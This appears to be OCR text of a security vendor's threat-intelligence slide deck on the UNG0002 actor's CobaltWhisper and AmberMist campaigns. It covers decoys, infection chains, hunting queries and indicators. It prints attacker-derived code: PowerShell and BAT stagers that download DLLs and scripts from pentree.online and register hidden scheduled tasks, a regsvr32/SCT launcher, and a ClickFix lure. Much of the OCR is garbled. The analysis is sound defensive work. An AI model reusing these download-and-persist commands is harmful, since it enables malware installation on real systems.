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Meet UNG0002

Operation CobaltWhisper Operation AmberMist

= Active since May 2024 = Active since Jan 2025

Targets — Hong Kong, China, Pakistan Targets — China and Pakistan

= Sectors " Sectors- Gaming Industry and IT sector
= Strategic Infrastructure and Tech. " Arsenal
= Scientific and Academic Institutions = |Net RAT, Shadow RAT, Blister
" Arsenal = ClickFix
= Cobalt Strike = VBScript, BAT, PowerShell, SCT
= VBScript
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] Timeline of UNG0002 — CobaltWhisper

Enterprise Decryption

IR\ BB Y/
KRR ECTRHBEETER

Parking Fee
IR EDNRIERES R

"Latest Parking Lot Fee
Adjustment Plan"

"Movie Publicity Requirements"

Research on Pre-Fueling

AHEmIIE IR ARSI
L (BEN)
"Research on Pre-Fueling Flight

Management Methodology and
Software Implementation"

Technology Awards
o MAHEMMEIESEHESTK
HI (BB W)

* "Instructions for filling
Electrotechnical Society Awards"

Targets CN Universities
* Peking University — Finance

* Yunnan University — Env. Eng.

Targets Pakistan

Study of Fusion Power

* |slamabad Security Dialogue o GBI A S =EESESE
7 ({EREN

* Final Combined Forecast MCP MR (ELEN)

* "Optimization study of the

* Tsinghua University — Comp. Sc. * |IDEAS 2024 Calling Letter

parameters of the three loops of the
thermonuclear fusion power island"
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Operation Cobalt Whisper

Industries Affected

Defense Industry

Electrotechnical Engineering

Energy (Hydropower, Renewable Energy)
Civil Aviation

Environmental Engineering

Academia and Research Institutions
Medical Science Institutions

Cybersecurity Researchers
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Initial Findings

* RAR Archive file
o “BiEl: QOUEEFREEI/AFZSNEZRARERFRER T EAKBENREIHITEK ) B
R17AB (202448 A #hR). pdf.Ink”

0 Attachment 1: Instructions for filling in the “2024 Recommended Nomination Form for Science and
Technology Awards of the Chinese Society of Electrotechnology (Technical Invention Award and Scientific
and Technological Progress Award)” (new version in August 2024)

* Multiple such shortcut files using wscript (or) cscript to execute hidden Visual Basic Script

e Decoding hidden implants that lead to Cobalt Strike beacons
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] Infection Chain

SREEr: @ e e s s e o
Phishing
K Rename & add
bundled | Scheduled Task \
files wscript.exe cliegueg Jask ;
> % > ' Multiple
1 | 2 vBs 4 i Host-Headers
' I ! —
Archive ' Shortcut 0365.vbs : =
' cache.vbs t
' DS_Store.vbs :
' : C2 Server
3 = 3 ' 5
: = <_J o —
: ExE [ G2
- Decoy Cobalt Strike |
A Beacon

o ===

AS 45090 - China
(Shenzhen Tencent Computer <
Systems Company Limited)
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Decoy Documents — 1 2 =

— BEHEREI .. 1

PEBETREAFS S UEBA 3

China Electrotechnical Society

L EEMHAEAR . 3
[ e - 5
B R B 5
oL BT, R IR i 5
L. ATEYHERBEERERL ... T

202 FEPEBRITHAFESRFEF AR A ZIRTIRER oo T

L. EFREEREMNFERL ... 7
*&#/*E% - . REMBS/EFFERFN ..o T

ﬁ E _:5 +— EEERABRE ...l B
+o FEERREMBELE 8

(BIRBCA SRR D 2D FZLBEALAT CEREANTRID oD

o, ERREEN (BARBEHTRE) 0
2024 Annual China Electrical Society Sciencr and Technology Award R AR 10

Recommendation/ Nomination Form +a, B e LD
AY

[ =]
N Hn

4

Contents on Guidelines for Project
Submission.
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] Decoy Documents — 2

+. FEEEFEREEMERL

SREEERFETEERSA FRERESAREL. B +EH. EfeEEaE Additional Supporting Materials
SEAATI LR SRR 2EX A (EERELSFTEBAD),

Lrgrfg 18 -4 STT B g S a0 5L 3 = - B
SESZ, (RABTEATEEAT) \ LFLH, LRER, #EF L ZRER-SSWERRNERED. IREXE, wREFRL
s . - - B, FREAwXER. AR ST EHRAERE.

i 1 Previous Awards received by the T ﬁ_" i 7

A ERAFRER current project. . ERFLoANIESE, FHEEER LS,

ERFEEFEANESEASALTECARKER SR, AER AHTER A, SAPF XERBEL—HETAE, AAT

FEAN, FEASSSER. BASRFERHH, ZEFETANE,

FEZNE. ERLSIEAFUFANTURESS, WIREAFHEL

HRFR. +75. BT Project Video Introduction.
FPRECHAEMCRREANERAES. KAERSORAFGH BHFTATE, FLATEEE (AP 8, phagsss

ER—APFX#LAZRE; TESFFREIRERAEXRE, B i m de e b
E. EHEN. ZERE. BEE4Fs. ZESAZFER. HEER

RESH. 78, FuE—RRAETE, SELAPFXAZIRL. | T e
. . ARFHERL. B IAREFEenEE. AR Lo RRARTH
A ERNSSHENREER

Zif 8.

FATE, JRE, WNTE. FEANRENTALFERSRE, 88 BE, ASTEDLIN0 .

ERSERSTWALE. WAS. ZFEE, AFAR. FAEAFA R MEERE, SRAFNRESLUIEFEL, REREATEAL

SEFHHFAFENT) | RASESCLARAS, RELEARL

;E RS = WHMATERRGF LEAAXH. L EE “FERS—He5A%s
SEEnSE EEELEEE NfETEINIERZacE: REERART FE LRREAANET AORZFEXE.

Exd . RAALATHTE, #TekhIEfds, TRMETELME,
HEFEAFEFFE. HEE. Thig, ahd, Baes, FEHEEALFHESZES,

LURBTLRE.

+. KREELEEERER
=EaEEEER, NEZEFISEIE “ZERHHFRET 2T
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Decoy Documents — 3

E-® AB#E

ELE TESIHEAZLESERLITREAZRL, Basss,
FERREREAFFEHTEL.

(=) ZAEFEZ

TS IBER~TE, LY., MRREFESEESEARAFR
HEEREHHEIR AL

(Z) BEEFR

FIEEAFRE. BAFTE, BAEF, BrEFaEREsA8R,

FEESEITEEI:

1 SAFERETE: ARERFFEANEAFTEED Y, RaHEF
EnTFTHERAMEFRIARDRAAFE. A, IE., AR ETFE.
AERFRRTHEINGEE AT, EALAES. DREEEL. ZER
BAAZ A EGuEAdFaREFTesid84E,

L EAIEETE: ZHESAIEGETAEZIIE, FATSEA
FIE. REALE. EFIAREEHTAS IEFHLEETSS
IEEFESFTEeT

(Z) TFEREZRRE

>l'|

i

EEERzaRderEE g AT e EERTReEE R, §
EESRPESIBFRANEREE L. FELLEAF R
AE—. TLEF—EFRE_EEFL. FLEATETNAEREERSL, B

2

FEFRBIERY,. gXALERARERenEREERER. FO
FrEH .

Revocation of
Awards

EO+~%E FEL 5 AS S0 ORISR FRATE.

FW+tE LFRERLAFFERDE, BEHEFILZELEITH
A

EO4+ & =iz FHLl5AT A RERE.

AN

Various regulations and
interpretations.

SERITE | Quick Heal




] Technical Analysis — LNK

e LNK runs the malicious VBScript 0O365.vbs using a Windows utility known as wscript.exe

Comment
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VBScript

* Mimics a utility for managing and generating compressed cabinets from an MSI database
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Decoded VBScript

* Scheduled task named WpnUserService_x64 to run sigverif.exe every 59 minutes

wshShell.Run vi1, 0O
wWwshShell.Run tempPath
fso.DeleteFile runfilel

WshShell =
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Cobalt Strike Beacon

139.155.198.84, fapi/x,139.155.198.198, /index
Indire\syswowbd\dllhost.exe
Fwindirk\sysnativedllhost.exe

NtZ0Ve)zDr9QkEnXebobPg=-=-

Detect it Easy v3.09 [Windows 10 Version 2009] (x6.&4) - b : Mozilla/5.8 (Windows NT 10.8; Win64; x64) AppleWebKit/537.36 (KMTML, like Gecko)
File name l"-'lCI:F_"pt: * fn
= C:‘U,- ESE N GE  EEECEN ] n n ENETEE E EEm B u mm EEIENE N NN NS N EE
File type File size Base address Entry point | Advanced Accept: */=
PE32 - 237,50 KiB 00400000 0042f1a0 > 1SESSI0H=
Demangle Host: service-a8vp3r65-1319584909.cd.tencentapigw.com
File info Memory map Disasm Hex Strings Signatures VirusTotal
MIME visualization Search Hash Entropy Extractor YARA 559151qlejZ300Qd/sgvNag==
139.155.198. 84
PE Export Import Resources MET TS Qverlay 139.155.19@.84
Sections Time date stamp size of image Resources 139.155.19@.198, /ind Elxl
0005 > 2015-07-09 20:27:31 0003000 Manifest Version
£5a3308 (519]: 4683 Forbidden
= EL TS S (CIOERLE Type Content-Type: text/plain; charset=utf-8
Automatic = LE 32-bit 1386 GUI Cnntent _ LEF‘Ig_'th : a
~ PE32 Connection: keep-alive
Operation system: Windows(10)[I1386, 32-bit, GUI] 5 7 s .
Linker: Microsoft Linker(12.10.40116) < 2 Api-RequestId: alabcb9988087ebfdSefabl002467c08
Compiler: EP:Microsoft Visual C/C++(2017 v.15.0)[EXE32] 5 7 Api-ID: api-rawbbggl
Compiler: Microsoft Visual C/C++(18.10.40116)[LTCG/C++] 5 7 . . . .
Language: C/C++ : . o Date: Fri, 27 Sep 2824 19:56:59 GMT
Tool: Visual Studie 5 ? Server: bfe
Options Request-Id: 56967fb@-3e28-4bf@-b322-aced762517ca
Signatures v Recursive scan v Deep scan Heuristic scan v Verbose About .lﬂl.pl -Funclame: back-8888
5 .
Directory Log All types > 304 msec = Exit "ﬂ"pl "'ﬂ"pp:[d : 1319584869
Api-Serviceld: service-a8vp3rts

Api-HttpHost: service-a8vp3r£5-13195848689.cd.tencentapigw.com
Api-Status: 483
Api-UpstreamStatus: 483
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S Hunting — 1

* Cobalt Strike Beacons — ImeBroker.exe

Sortby Filterby Export ™ Tools v Help

Detections Size First seen Last seen Submitters

UoOrauLc LUV OEc o 0 oE I Tuu s LUUU L Lo ac U

L e ImeBroker.exe 11 /13 237.50 KB

2024-08-08 2024-08-08
2:26:53 22:26:53

etect-debug eowironment long-sleeps

8b599%ef67428cchbeflafl7233238ca952da95¢7.. O =

2024-08-09 2024.05-11
oW ImeBroker . exe) (T 237.50 KB
ks - 02:47:20 16:25:46

VA NteCr-debug-errlionmeant 1ong

cd455a6d88811c3b23a%81e121702dfe0371d1...
2024-09-11

) Ime8roker.exe "
Sl 18:24:17

ervIrorTent

df3d3ac578a098c30868f221d35c25faa216b2b..
ImeBroker.exe /7 231.50 KB

2024-08-16 2024-08-16
11:30:55 11:30:55

eddfd7a3df28cc722e7falde24cdfSbb564el
& ImeBroker . exe /1 23750 KB

2024-08-17 2024-08-17
06:33:43 06:33:43
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Hunting — 2

* Shortcut LNKs — laptop-g5qalv96

content:"laptop-g5qalvac"

126f8b7a82ba613bcabfeSacc2ef20b8c8affosk..
T #-2026 420 - DRI . pd £ Lnk

ndow

2477dd3bd6d895399c7b84852c77093 6C
@S BT DS - B - TR

JOw

985a8a46a481926e58333a3476b1f2a5b31c3b2..
-~ A - IR

- i A - IS T

wang-window  idle

21175d72e86303bb70a

o Final_Combined_Forecast_NCP_FY_2824_25.pdf.

vding-window  idie

41bb204d9d86b63aec2 18b53985a0..

@ Islamabad_Security_Dialogue_Pub.pdf.lnk

Sortby

Detections

6 /64

Ink

Filter by v

First seen

2024.07-02
06:06:00

2024.07-09
10:05:16

2024-07-18
37:19

2024-07-25
06

Export v Tools ™

Help
Last seen Submitters

20240702

06:06:00

20240709

10:05:16

2024-07-16

02:34:30

2024-07-18
0:37:19

2024-07-25
06:50:30
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Hunting — 3

* Pivoting on cscript.exe gives new IDs — laptop-g5qalv96 and desktop-72 7otfd

ASCl Wide Download
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New Decoys — 1

[&eushga’ll\aomﬂoalmﬂhodlot coordinaling various types of military
platform

L WSO RS B BRI ARG, RECEEE T RAHKRRIE? 6

PR OLHE 2 1) 52 56 T R S RF B 1 T AT ME A R4 ?

EMR T RGBT, REHE T RSP I RAER, s+
W WTXPITE? LR F R 20 BUR A il A 2 ™ A o 2

SO R B A DS T R B R S R SRS, 2 A e r AR AE R o S
27 X7 SEhR N b T R TR ?

(Et T A SRR, REHIE T EREROWECEMBERMAL? Filn,
MEERE R R AR B B, ] fRUE A O BERY B S M T E 1 ?

W SC PN R W R RE D BN e MEEAT T iR, EAESERRRBIHI S, T VA fn i
i) 2K A A~ i 2 A4 X 11 R ECR T BE Vf 2

(EFUSLR S, REER T A FEERAT S M50 8P E BRI ? 05 1
L5 A7 T RE9S W 22 FEAL MO FE AR TR ?

i fa, RS BB N i A S B R PR A S B B DR 50 T LA 46 7
EBA ST ERERMCBRME S %E?

c ESRMAETE: AT X CFETRIE AR [ 3k

- BRI AESR 1 S AE SO (i R Ebsilon i AT @05 FL) (HR VR S BSR4

SeAEiE R . ARANA R T AR R I e ad S S bl sk AT WE ST XS HEAGAE, UL
PRBUIRY £ o o 42 A o] S

. BYGEEMMA: £ RLD, RS RRRA IR R A

ZFH R, Sk 7oA N, 12.4 MPafI540°C{E NIEXES ¥, HE
7670 SRR X Lo S MR B 10 PR TR el AHEE .

- BFtEa i emtt: ERAS S, B8R T RS ElL, BR%

[EZATAYE AR . A E RIS R BERNTE R EEE, PUEN
b R G 1 A B2

VA AR BRI R RO T e BB A A TRA, BRI

RS AR BRI R o FRATTARE IR B S VR AN A0 B R WS R, LA R B T
St U R AN S 00 S

(BAGT IS RO HEdE. AT
M T RX e B EILAL F7 A EE8 AE 75 vl DA 1 b 2 7Y 1) 36 A i 7l A
2%

. BUBRME TR RE: 5 IE SR 2 F ey, 2 AT T BURME

? JAA R T AR 2 BN SRS TR LR e R
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New Decoys — 2

Name

Date modified Type

Size

_cache

9/27/2024 2:29 PM File folder

X RRS LS

9/27/2024 2:29 PM

File folder

AN

THNLERR-TES- EPRIEAY-SX. 92204

2:29 PM Shortcut

Narre

D cache.bak

cache

LAdLE TTILRLIN 120

0/27/2024 2:29 PM
9/27/2024 2:29 PM

FEIFESSEEHEAMREATaTHE

|

JLE

I_'r'FJE
BAK File
Data Base File

238 KB
272 KB

FEBFHFFUELIRE

e

SR B ¢
TR o
nRAD

L

rau

0 SIm

AN 1 5

UL LA ER S UAT LR LIRSS

Hicsmy
Hoaimrnz

S AR NE Y

5 0 O (R o

PR

Wial T
EENTNEH
AR

LM

WoEETNY

SrLYheEsY AN AT MRS RPLANEETI AR Y AN TF
rETYRREARN RNEENnLS A, TR TETENN
T2 I E R T T WL UPERCAMLACANRES SO
Eiwd digmm SRAMRAMN A QARARSPUNGETRERN A N

MMy S

RIUARN: SN, LACAL; RAXA

ERNBER

L EOPE AL

2NN

NeREREARY P FaMNII e

AL RS 4] DAY GUMLE R MWW

LTSS RN

UGS 1 DT S uigie
ANPRRRTRME

VRRNRIC TR
I NGE PRI 2 DTN
LEAah ML N TTERS
MRS AT N

VR chHRCREM Y

INHAAETF. DA .S L e
3 B
LA 1 nA

LVREN

11 R A ks

R |

. rEn
PAE. CHENERBNTRRANRDY)
R RTETURRSOMEY0FY
DL L U LIRS S8
A RSN
LIS N A A

BoLZAVDRIONT S

SRR LT
ENMRENEMIARNAORER

BREERAERT

RN TIrLEaNY LM

RN SRS ARER

LRl F@. i ey 0
L 1T LT R A T UNELUE Ealid ]

A MAREFMICNNTIER IA
AGBIITESRRANAN TS RULN
Nannpg.tuMsEPrgBsirAl

2= a1k an

MY TETYRARNARTET MR

BV EFQ NN RFNT
Lo 2aod praa

T

iy WM E

-

L AURO L Lk fi s i
JRCUE R SR 2

M1V IEET K

SMETUNEARL

ne £+ 3 |
¥ ®
e B 1996088 110 g
w2ham
FHURTLN

Ll £ 3l

2024%07 4128
ErEREAT
Iymt

WRE RN
114201201304000413

FRTL
FRERRS

Protile Oviented Lure
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Targeting Pakistan — 1

<z INTERNATIONAL
DEFEN Exmnmuu AND-SEMINAR-

/4

o ¥ - - s ¥ a

N

§ "05\- ‘\-. - N o

= th EDITION OF \ ‘wadl
= INNOVATION & EXCELLENCE 4
"" IDEAS

2024
PAKISTAN

ARMS FOR PEACE

R\ 19 - 22 November 2024 /.
S Karachi Expo Centre 7",

\ .:v“"(\".\‘. PUEERANeS:E= s AT Sese e
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Targeting Pakistan Army and Chinese CERT

ylodes lancea

FORECAST OF PAKISTAN ARM

AO Ye', ZHANG Yi-feng' =,

2024 - 2025 (GRAT

r Chinese Materia Medica, China
‘b Medicine, Ministry of

t Atractylodes lancea, and it

ing cold, and brightening the Tanguting Pabintoni Withany Acadieny

in clinical practice, including
and hepatoprotective effects.
'oportion of the main active
e research progress of genes
sting their biosynthesis, so as
terpenoids in A. lancea and

Medical Reseaich

FRIREANY, AARE
HEEOZAHEP. [
Bl BARERNRE KR
RKUBEVREREED
iAo A R AL K TRAINING INSTITUTIONS

I 1B 3 A o 2 A PAKISTAN MILITARY ACADEMY
G R 1E MA SE R ARE, NOWS

L RG T [ %5 A% [SCHOOL OF ARTILLERY, NOWSHERA

CNC2ZERTICC iE
ERERREAGY L

*(FFIR
“P 2% 24 Re JIIAIE (CCSC) ”
mEE

Targeting Security Researchers and
Enthusiasts mimicking CNCERT

2% XME B

JAEY I R4 4, ORBE N BRI ARTE RO 4% 25 (] () S AR, 5 BERF BT e
M2 Z A SEREE U, NS Z 2NN G, BEYEF —3GRKF

1. BIFHNMG LS ANA BN IEENR, FRE L L4 AN AT FEH CEE

ROV RY, ERKRMRZE AL TEME — /Y EEEE, #2046
A, BT A H LAY ARt RMFZEEFHE R, RREE. FhH
FE G REEVERE . TR 4% 4 7R B IR ol B 7 0 1P PR sk HE 2k

2 9 444 % A TSI RO e SEGEEN R TUJR £ M40 R iR 9% %2 4 A A o)

FOEHE, A S RSB TR AT AL V4 SE I B4 FEAE BRI

A HECR, INPRSEiliZ 4 N A BT VIRV FRGIBE . AN RHSG T TR NI R &1L 3



Archive Uploads

MERARIBIRIRAAA RN I AEL] AR rar

HONG KONG
EEAPREUE Zp
RITEFE I ER R A R EE T 2 rar
BB B EEK zip

IILEAEMMTEIR T EZHEESREII (BXED ) rar
XR-FERE-1TEA.rar
FIF-ILRKRFE- 20265 \-EFIA+ rar CHINA
REN-mRAKRFE-IMT LIE rar
PZB T ABE=[CBSEMIEHR (BZEW ) rar
SMESERNDEIEICTEMFTIERE ) rar
W EmEA /B ZFTUERR (15 55AEE) rar
IDEAS 2024 Calling_Letter.zip
Final Combined Forecast. MCP_FY 2024 25.zip PAKISTAN

Islamabad_Security Dialogue Pub.rar
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Hunting Queries

* ASN5090 registered with Shenzhen Tencent Computer Systems Company Limited

service (behaviour_network:*tencentapigw.com* or 82 samples
behaviour network:*tencentcs.com™) (type:peexe or
type:pedll)
service (*tencentapigw.com or *tencentcs.com) 193 samples

(type:peexe or type:pedll)

entity:domain service (*tencentapigw.com or 1.6k domains
*tencentcs.com)

SERITE | Quick Heal



Infrastructure

* ASN5090 registered with Shenzhen Tencent Computer Systems Company Limited

service-a8vp3r65-1319584009.cd.tencentapigw(.Jcom
139.155.190[.]184

43.137.69[.]76
139.155.190[.]198
106.55.77[.]71
129.204.98[.]221
119.45.2[.]30
119.45.67[.1241
119.45.2[.]56

service-c2y0jtba-1319584009.gz.tencentapigw]|.Jcom.cn

service-ggezbin5-1319584009.sh.tencentapigw[.Jcom

service-h87kxr41-1319584009.bj.tencentapigw][.Jcom.cn

service-cyuasu6k-1319584009.nj.tencentapigw[.Jcom

service-3z1ebnpd-1319584009.sh.tencentapigw|.]Jcom

service-b4ibcyjt-1325935989.sh.tencentapigw|.]Jcom

service-k6iylagt-1319584009.bj.tencentapigw|.]Jcom.cn

service-7wu3p58s-1319584009.nj.tencentapigw]|.]Jcom
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S Timeline of UNG0002 — AmberMist

Targets MOFA Islamabad Targets Gaming Industry

* ClickFix * SKYTYEIEF

» DLL-sideloading into Rasphone * DLL-Sideloading into Node-WebKit
 Shadow RAT * Blister DLL Implant

Targets Al/Tech Industry

. "";‘E)Elﬁ_cv.pdf.lnk"
* Execution via LOLBIN
* INET RAT

SEGRITE | Quick Heal



Operation AmberMist — Infection Chain

________________________________

G ClickFix | E :
/—>m r E e ¢ EXE sideloads |
: ) ! , rasphone :
moma.islamabadpk_ site I : g’ Shadc_>w RAT | marinve-research.space:9445
| ‘ (rtutils.dll) | .
8888 N e e e e e e e . skyfare.site:5679
: ecoglide.site: 7699
Spear e : E \
Phishing pentree.onllne C:\Users\Public\Tasks &5
: A
21443  C:\Windows!Tasks| N
ZsgEH CV.pdf.Ink : pTTTTTTT ~ 5 :
— 1= 5 % s — % ! ! E
Z\P wscript.exe ! VBS ! : :
Li Mingyue_CV.pdfInk . lwbs | 5 E
: i : + regsvr32 !
E i i | ——J N— &_) E
: BAT E Power__,_,, % . E
I , Shell vBS list.txt INET RAT !
ocho bt E " listvbs (memcom.dll);

___________________________________________

SERITE | Quick Heal



CV-themed Decoys

Chinese-Origin Name

TARE

ZEWRUITIFEY, SN
U, EERINEFHEER
Hft®, A—ENE

. MEERE, ETS5AME, HADE, FIMFA

logo HEF LT, RRISMFIFHE

MENFEREATRLE]

CONTACT

wiiFR IR 2022.08-E%

£).

Sk e 35E

7| 295

e,

SESIEPREEAEFRIETNMER
6. R LA ERERE, EiRas
7% 05 AR 5 B B0 S R AT R

39,1

#ASS: xxhhytf

VAR R R, B L R A e (R AT SRR AR R B 1 TR, AR B A FF 22 %

2. CFRAR T AR R A M SE I SR AR IR E, SR EE N

SRR REMEFRAEATR, HEFEERER
AFIEMHERNME, FHETEMNRUITE. IR BB

1782769

Q@ AbEhEAp

EDUCATION

2021 - 2025
RERE HEIER

BRRE GRY) HRASE

UligiHm 2018.07-2022.05 [

REAER

TERE: 76 :
REREE: HFRUIRT
BT M

]
2 B
B

o

EIFRRERT, SEERES.
o=

P}

W
)
&

o

N %
o

TR,

1 AEBERENIEARFFERMNEEIFEE, BEEAIFEH. LFRERE
SHERS#, SHI. WREF. NEEANEDIE, FENEREE,
MAEFAEAMNNERTFESNEREE, S5
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ClickFix

Verify You Are Human

I'm not a robot

Povacy - Terms

Complete these Verification Steps

To better prove you are not a robot, please: cl ical ClickFic-style malware

1. Press & hold the Windows Key "s@" + R. / dropping technique.

2. In the venification window, press Ctrl + V.
3. Press Enter on your keyboard to finish.

You will observe and agree:
"I am not a robot - reCAPTCHA Verification ID: 146828°

Perform the above steps to finish verification.

Copyrights © 2025 National Information Technology Board. All Rights Reserved

‘x NITB mentioned which is an autonomous

| government agency under Pakistan Government.
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PowerShell Stager

Start-Sleep -Seconds {1 * 68)

$folderPath = 'C:/Users/Public/Tasks’;

mkdir %fnlderPath:

$u="https://pentree.online:8888/Media/GF3D v/ Tend fI1Zoj76wl/mustang.dll”;

$p="C:/Users/Public/Tasks/rtutils.dl1"

$exePath="C:/Users/Public/Tasks/rasphone.exe":

(New-0Object Net.WebClient).DownloadFile($u,$p);

Start-Sleep -Seconds (1 * 68),;

Copy-Item -Path "C:/Windows/System32/rasphone.exe” -Destination $exePath;

(New-Object Net.WebClient).DownloadFile{"https://pentree.online: . V/Tenders/JZoj76wl/info.dat",
"C:/Users/Public/Tasks/info.dat");

Set-ItemProperty -Path "C:/Users/Public/Tasks" -Name Attributes -Walue ([System.IO.FileAttributes]::Hidden -bor [System.

$taskName="SysUpdater"+(Get-Random -Maximum 100€0);

$trigger=New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Minutes 10);
$action=New-ScheduledTaskAction -Execute $exePath;

$settings=New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable;
Register-ScheduledTask -TaskName $taskName -Trigger $trigger -Action $action -Settings $settings

SERITE | Quick Heal
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Shadow RAT

public timing
timi near

* DLL-Sideloading

e export function: timing

e UpdateProcThreadAttribute()
* Loads the C2

rio ax ;3 dwCreationFlags
; lpThreadAttributes

; dwMilliseconds

jmp short loc_188885CD3
timing endp

SERITE | Quick Heal



Sub-Campaign — LNK & VBS

Windows

System32

rundl132.exe

C:\Windowsa em32\rundll132.exe
ipé8niq

$ProgramFiles (x86) $\Microsoft\Edge\Application\masedge

« ZHAH CV.pdfink

C:\Windows\tasks\I.vba

/pentree.online:21443/RABV321C/Xenda/GRA8323B/Croas/ibias/I.vbs && wscrip b C:\Windows\Tasks\I.vbs"<C:\Program

x = CreateObject("WScript.Shell”)

"curl -o XRTEMP®\_CV.pdf https://pentree.online:21443/RABV32IC/Xenda/GRAB323B/Cross, s/sample.pdf”, @,

"ETEMPEN\_CV.pdf", 1,

C:\windows\Tasks\echo.bat https://pentree.online:21443/RA8V32IC/Xenda/GRAB323B/Cross/ibias/echo.bat™, @,

lows\Tasks\echo.bat"”, @,

SERITE | Quick Heal



Sub-Campaign — BAT

mkdir "C:\Users\Public\Tasks"
curl -o C:\Users\Public\Tasks\list.vbs https://pentree.online:21443/RABV32IC/Xenda/GRAB323B/Cross/ibias/1list.vbs
powershell -ExecutionPolicy Bypass -Command “$taskName="UtilityUpdater';$scriptPath="C:\Users\Public\Tasks\list.vbs";$trigder=New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(

curl -o C:\Users\Public\Tasks\list.txt https://pentree.online:21443/RA8V32IC/Xenda/GRAB323B/Cross/ibias/list.txt >nul 2>&1
curl -o C:\Wsers\Public\Tasks\memcom.d1ll https://pentree.online:21443/RA8V32IC/Xenda/GRA8323B/Cross/ibias/memcom.d1l
curl -o C:\Wsers\Public\Tasks\script.psl https://pentree.online:21443/RA8V32IC/Xenda/GRA8323B/Cross/ibias/script.psl

-0 C:\Users\Public\Tasks\run.sct https://pentree.online:21443/RABV32IC/Xenda/GRAB323B/Cross/ibias/run.sct

trib +h +s "C:\Users\Public\Tasks™ »nul 2>&1 2>&1

00

powershell -ExecutionPolicy Bypass -Command "$taskName='UtilityUpdater';$scriptPath="'C:\Users\Public\Tasks\list.vbs';$trigger=New
ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) —Rgpetttlonlntglval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan
-Days 365);%action=New-ScheduledTaskAction -Execute 'wscript.exe' -Argument ' //b C:\Users\Public\Tasks\list.vbs';$settings=New-
ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable;Register-ScheduledTask -TaskName
$taskName -Trigger $trigger -Action $action Sctt1ngq $settings"

Confidential 36 SERITE | QUiCk Heal



Sub-Campaign — VBS & SCT

objShell = CreateObject("WScript
exec = objShell . Exec(“regsvr32 /s /n fu fi:C:\Users\Publich\Tasks\run.sct scrobj.dll™}

Do
WScript.Sleep 18@
Loop

version="1.0"

progid="LvVGf" classid="{F0001111-6600-0000
language="VBScript"

Sub obf_MacroEntryPoint()
On Error Resume Next

obf GeneratorEntryPoint
Sub
Sub obf_GeneratorEntryPoint()
Dim obf_code
obf_code = ""
obf_LaunchCommand “powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\Users\Public\Tasks\script.ps1"

Sul

-
0
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] Sub-Campaign — PowerShell

Add-Type -TypeDefinition @"

ds]::opt_mem() | Out-Null

SERITE | Quick Heal



Sub-Campaign — INET RAT

int opt mem()

int result: //

 Fetches Computer & Username
* Unnamed pipes with hidden cmd.exe
 QueryPerformanceCounter()

Decoded C2

marine-research.space:9445
skyfare.site:5679
ecoglide.site: 7699

*((_DWORD *)vl +
sub 123681688141

Commands -

ints4 :I wl [ 3 ] > B

e sleep, windowsleep, nextsleep 9

e  Window, exit

C:\Users\Shockwave\source\repos\memcom\x64\Release\memcom.pdb

SERITE | Quick Heal



Campaign-2 : LNK & VBS

C:\Windows\System32\wacript.exe

Swindir$\system32\wscript.exe

172 19 0 9

$ProgramFiles (x86) $\Microsoft\Edge\Application\136.0.3240.64\maedge.exe
1212

sWindows

System32

es\es\..\Windows\Syastem32\wacript.exe

« SRUEBEIE F7.2ip
[ ] Zh a ng Wa n Wa n Res u m e ;ﬂ.x)n:;{":'\\:l":'ﬂ'*f‘::“"x\f:v:f.m it e aaine

tProgramFiles (x86) $\Microsoft\Edge\Application\136.043240.64\masedge.exe
S Store (C:\

\Administrator)

update.vba
Seript Script

C:\Users\Administrator\Deaktop)

\ DS Store \update.vbs

scriptPath = WScript.ScriptFullName

currentFolder = Left(scriptPath, InStrRev(scriptPath, "\") - 1)
WshShell = WScript.CreateObject("WScript.Shell™)

WshShell.CurrentDirectory = ".DS_Store”

WshShell.Run Chr(34) & currentFolder & "\MacUpdate.exe™ & Chr{34), 1,
WshShell.Run Chr({34) & currentFolder & "‘\zww.pdf™ & Chr(34), 1,

Wscript.Quit

SERITE | Quick Heal
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Mame

L8 | Bony |
= MaclUpdate
1] nw_elf.dll

: u

|:| update.dat
update
@ W

Campaign-2 : Blister Implant

Date modified Type Size
|
H NN
5/23/2025 12:428 PM Application 2,254 KB
5772025 9:03 PM Application exten.., 464 KB
- =
- 5/5/202510:01 PM DAT File 2 KB
5/10/2025 4:34 AM VBScript Script File 1KE
5/10/2025 3:58 AM Microsoft Edge P... 16 KB

ar6aalTh95dd858eb2TTfb0a3ecdel9633ech9ce32Tc04d204c93ef566TdAETT

nw_exe

peeaxe

overlay G4bits

idle  signed

Malicious Shellcode

detect-debug-environment

assembly
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Blister Implant — AES-CBC decryption

Breakpoints Memory M d 9 S Sa 8 symboss

0000021018A70029

4
C
C
6
4
1
C
C
&
4

=
319

D 0 \D 00

iV
mow

»C

qword ptr

'

wOsNYWVYM
Q.

nNw o
IM e
o N MWV

OmAEWwOH LN
w
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Blister Implant — Patching Entry point

BCX,
sub_45C

d;:;d ptr [rbp-

45C

[rbp-
sub_ 45C
oCx,

]

zith AR

ULy

=.|Jh_-1':u|f'

[rbp-

sub 45C
CX,

g =T =

sub_ 45C
CH

[ rbp-

sub 45C

= ¥

sub 45C

= ¥

¥
sub_45C
ecx,

Ay

“bx, ra
sub_45C

sub 45C
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S Overlaps

ASN22612 | NAMECHEAP-NET
ASN 47846 SEDO GmBH

e SideWinder APT group and new ASNs

C Reanalyze == Similar ~  More v

moma.islamabadpk.site
islamabadpk.site NameSilo, LLC 11 months ago 3 days ago G Q)

Malicious (alphaMountain.ai)

&2 Q  moma.islamabadpk.site A 4 SEARCH >

moma.islamabadpk.sited® 2
& Subdomain of islamabadpk.site High

OSINT (2) Resolutions (15) Subdomains (1) DNS Records (0) Host Connections (1) Host Responses (0) CT Stream (0)

DNS Records Sidewinder (Malware) {21 [11 [2] [3] [4]
Observed on: Maltrail [4

Jump to * _moma . islamabadpk.site Aliases: T-APT-04, Rattlesnake

= . Sidewinder (Malware) {01 [11 [2]. [3] [4]
== Domain Summary Observed on: Maltrail [4
Aliases: T-APT-04, Rattlesnake
For parent domain: islamabadpk.site
No HTTP or HTTPS results.
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Overlaps

* UNGOO0O02 copying TTPs across Operation Voldem

